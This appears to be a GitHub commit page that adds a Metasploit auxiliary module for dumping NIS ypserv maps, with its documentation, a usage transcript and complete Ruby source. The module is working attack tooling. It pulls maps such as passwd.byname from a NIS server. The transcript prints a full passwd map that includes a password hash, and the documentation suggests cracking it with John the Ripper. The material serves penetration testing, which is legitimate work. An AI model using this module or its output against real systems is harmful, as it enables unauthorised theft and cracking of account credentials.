Permalink
Browse files

Land #9368, ye olde NIS ypserv map dumper

  • Loading branch information...
wvu-r7 committed Jan 11, 2018
2 parents 1a8ffed + b1cecd4 commit 4b225c30fdde7ba27b0164049dc7c486127733c8
@@ -0,0 +1,108 @@
## Intro
If you've worked with old Unix systems before, you've probably
encountered NIS (Network Information Service). The most familiar way of
describing it is a sort of hybrid between DNS and LDAP.
[Oracle][1] says the following about it:
> NIS is a distributed naming service. It is a mechanism for identifying and locating network objects and resources. It provides a uniform storage and retrieval method for network-wide information in a transport-protocol and media-independent fashion.
And on its use:
> By running NIS, the system administrator can distribute administrative databases, called maps, among a variety of servers (master and slaves). The administrator can update those databases from a centralized location in an automatic and reliable fashion to ensure that all clients share the same naming service information in a consistent manner throughout the network.
The module documented within will allow a tester to dump any map from an
NIS server (running as `ypserv`). Usually, maps like `passwd.byname`
contain things like hashes and user info, which can go a long way during
a pentest.
## Setup
Set up NIS as per <https://help.ubuntu.com/community/SettingUpNISHowTo>.
If the link is down, you can find it via the Wayback Machine.
## Options
**PROTOCOL**
Set this to either TCP or UDP. TCP is the default due to easy discovery.
**DOMAIN**
Set this to your NIS domain.
**MAP**
Set this to the NIS map you want to dump. The default is `passwd`. You
can use the nicknames described in the module info instead of the full
map names.
**XDRTimeout**
Set this to the timeout in seconds for XDR decoding of the response.
## Usage
```
msf > use auxiliary/gather/nis_ypserv_map
msf auxiliary(gather/nis_ypserv_map) > set rhost 192.168.0.2
rhost => 192.168.0.2
msf auxiliary(gather/nis_ypserv_map) > set domain gesellschaft
domain => gesellschaft
msf auxiliary(gather/nis_ypserv_map) > run
[+] 192.168.0.2:111 - Dumping map passwd.byname on domain gesellschaft:
list:*:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
ubuntu:$6$LXFAVGTO$yiCXi1KjLynOrapuhJE7tKnvdwknDMKiKM7Z8ZB19ht6CHmsS.CbUTm8q0cy5fFHEqA.Sg4Acl.0UtY.Y0JNE1:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
games:*:5:60:games:/usr/games:/usr/sbin/nologin
news:*:9:9:news:/var/spool/news:/usr/sbin/nologin
lp:*:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
sys:*:3:3:sys:/dev:/usr/sbin/nologin
backup:*:34:34:backup:/var/backups:/usr/sbin/nologin
uucp:*:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
systemd-resolve:*:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
man:*:6:12:man:/var/cache/man:/usr/sbin/nologin
bin:*:2:2:bin:/bin:/usr/sbin/nologin
gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
sync:*:4:65534:sync:/bin:/bin/sync
systemd-network:*:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
uuidd:*:108:112::/run/uuidd:/bin/false
dnsmasq:*:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
root:*:0:0:root:/root:/bin/bash
sshd:*:110:65534::/var/run/sshd:/usr/sbin/nologin
systemd-bus-proxy:*:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
irc:*:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
messagebus:*:107:111::/var/run/dbus:/bin/false
_apt:*:105:65534::/nonexistent:/bin/false
mail:*:8:8:mail:/var/mail:/usr/sbin/nologin
syslog:*:104:108::/home/syslog:/bin/false
daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
systemd-timesync:*:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
pollinate:*:111:1::/var/cache/pollinate:/bin/false
www-data:*:33:33:www-data:/var/www:/usr/sbin/nologin
proxy:*:13:13:proxy:/bin:/usr/sbin/nologin
lxd:*:106:65534::/var/lib/lxd/:/bin/false
[*] Auxiliary module execution completed
msf auxiliary(gather/nis_ypserv_map) >
```
After dumping a map, you can find it stored in `loot` later. You should
be able to run something like John the Ripper directly on the
`passwd.byname` map.
```
msf auxiliary(gather/nis_ypserv_map) > loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
192.168.0.2 passwd.byname text/plain /home/wvu/.msf4/loot/20180108143013_default_192.168.0.2_passwd.byname_509006.txt
msf auxiliary(gather/nis_ypserv_map) >
```
[1]: https://docs.oracle.com/cd/E23824_01/html/821-1455/anis1-25461.html
@@ -36,7 +36,7 @@ def initialize(info = {})
register_advanced_options(
[
OptInt.new('TIMEOUT', [true, 'Number of seconds to wait for responses to RPC calls', 5])
OptInt.new('TIMEOUT', [true, 'Number of seconds to wait for responses to RPC calls', 10])
# XXX: Use portmapper to do call - Direct portmap to make the request to the program portmap_req
], Msf::Exploit::Remote::SunRPC)
@@ -70,7 +70,12 @@ def sunrpc_create(protocol, program, version, time_out = timeout)
ret = rpcobj.create
raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - No response to Portmap request" unless ret
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer, Integer)
begin
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer, Integer)
rescue Rex::ArgumentError
raise Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - XDR decoding failed in #{__callee__}"
end
if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS || arr[5] == 0
err = "#{rhost}:#{rport} - SunRPC - Portmap request failed: "
err << 'Message not accepted' if arr[1] != MSG_ACCEPTED
@@ -86,7 +91,12 @@ def sunrpc_call(proc, buf, timeout = timeout())
ret = rpcobj.call(proc, buf, timeout)
raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - No response to SunRPC call for procedure: #{proc}" unless ret
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer)
begin
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer)
rescue Rex::ArgumentError
raise Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - XDR decoding failed in #{__callee__}"
end
if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS
progname = progresolv(rpcobj.program)
err = "SunRPC call for program #{rpcobj.program} [#{progname}], procedure #{proc}, failed: "
@@ -127,7 +137,13 @@ def sunrpc_authunix(*args)
# XXX: Incomplete. Just moved from Rex::Proto::SunRPC::Client
def portmap_qry()
ret = portmap_req()
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer)
begin
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer)
rescue Rex::ArgumentError
raise Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - XDR decoding failed in #{__callee__}"
end
if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS || arr[5] == 0
progname = progresolv(rpcobj.program)
err = "Query for program #{rpcobj.program} [#{progname}] failed: "
@@ -0,0 +1,167 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SunRPC
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'NIS ypserv Map Dumper',
'Description' => %q{
This module dumps the specified map from NIS ypserv.
The following examples are from ypcat -x:
Use "ethers" for map "ethers.byname"
Use "aliases" for map "mail.aliases"
Use "services" for map "services.byname"
Use "protocols" for map "protocols.bynumber"
Use "hosts" for map "hosts.byname"
Use "networks" for map "networks.byaddr"
Use "group" for map "group.byname"
Use "passwd" for map "passwd.byname"
You may specify a map by one of the nicknames above.
},
'Author' => 'wvu',
'References' => [
['URL', 'https://tools.ietf.org/html/rfc1831'],
['URL', 'https://tools.ietf.org/html/rfc4506']
],
'License' => MSF_LICENSE
))
register_options([
OptEnum.new('PROTOCOL', [true, 'Protocol to use', 'tcp', %w{tcp udp}]),
OptString.new('DOMAIN', [true, 'NIS domain']),
OptString.new('MAP', [true, 'NIS map to dump', 'passwd'])
])
register_advanced_options([
OptFloat.new('XDRTimeout', [true, 'XDR decoding timeout', 10.0])
])
end
def run
proto = datastore['PROTOCOL']
domain = datastore['DOMAIN']
map_name = nick_to_map(datastore['MAP'])
begin
sunrpc_create(
proto, # Protocol: TCP (6)
100004, # Program: YPSERV (100004)
2 # Program Version: 2
)
rescue Rex::ConnectionError
print_error('Could not connect to portmapper')
return
rescue Rex::Proto::SunRPC::RPCError
print_error('Could not connect to ypserv')
return
end
# Flavor: AUTH_NULL (0)
sunrpc_authnull
# XXX: domain and map_name are modified in place
ypserv_all_call = Rex::Encoder::XDR.encode(
domain, # Domain: [redacted]
map_name # Map Name: passwd.byname
)
begin
res = sunrpc_call(
8, # Procedure: ALL (8)
ypserv_all_call # Yellow Pages Service ALL call
)
rescue Rex::Proto::SunRPC::RPCError
print_error('Could not call ypserv procedure')
return
ensure
# Shut it down! Shut it down forever!
sunrpc_destroy
end
if res.nil? || res.length < 8
print_error('Invalid response from server')
return
end
# XXX: Rex::Encoder::XDR doesn't do signed ints
case res[4, 4].unpack('l>').first
# Status: YP_NOMAP (-1)
when -1
print_error("Invalid map #{map_name} specified")
return
# Status: YP_NODOM (-2)
when -2
print_error("Invalid domain #{domain} specified")
return
end
map = begin
Timeout.timeout(datastore['XDRTimeout']) do
parse_map(res)
end
rescue Timeout::Error
print_error('XDR decoding timed out (try increasing XDRTimeout?)')
return
end
if map.nil? || map.empty?
print_error("Could not parse map #{map_name}")
return
end
map_file = map.values.join("\n") + "\n"
print_good("Dumping map #{map_name} on domain #{domain}:\n#{map_file}")
# XXX: map_name contains null bytes if its length isn't a multiple of four
store_loot(map_name.strip, 'text/plain', rhost, map_file)
end
def parse_map(res)
map = {}
loop do
begin
# XXX: res is modified in place
_, status, value, key = Rex::Encoder::XDR.decode!(
res,
Integer, # More: Yes
Integer, # Status: YP_TRUE (1)
String, # Value: [redacted]
String # Key: [redacted]
)
status == 1 ? map[key] = value : break
rescue Rex::ArgumentError
vprint_status("Finished XDR decoding at #{res.inspect}")
break
end
end
map
end
# ypcat -x
def nick_to_map(nick)
{
'ethers' => 'ethers.byname',
'aliases' => 'mail.aliases',
'services' => 'services.byname',
'protocols' => 'protocols.bynumber',
'hosts' => 'hosts.byname',
'networks' => 'networks.byaddr',
'group' => 'group.byname',
'passwd' => 'passwd.byname'
}[nick] || nick
end
end

0 comments on commit 4b225c3

Please sign in to comment.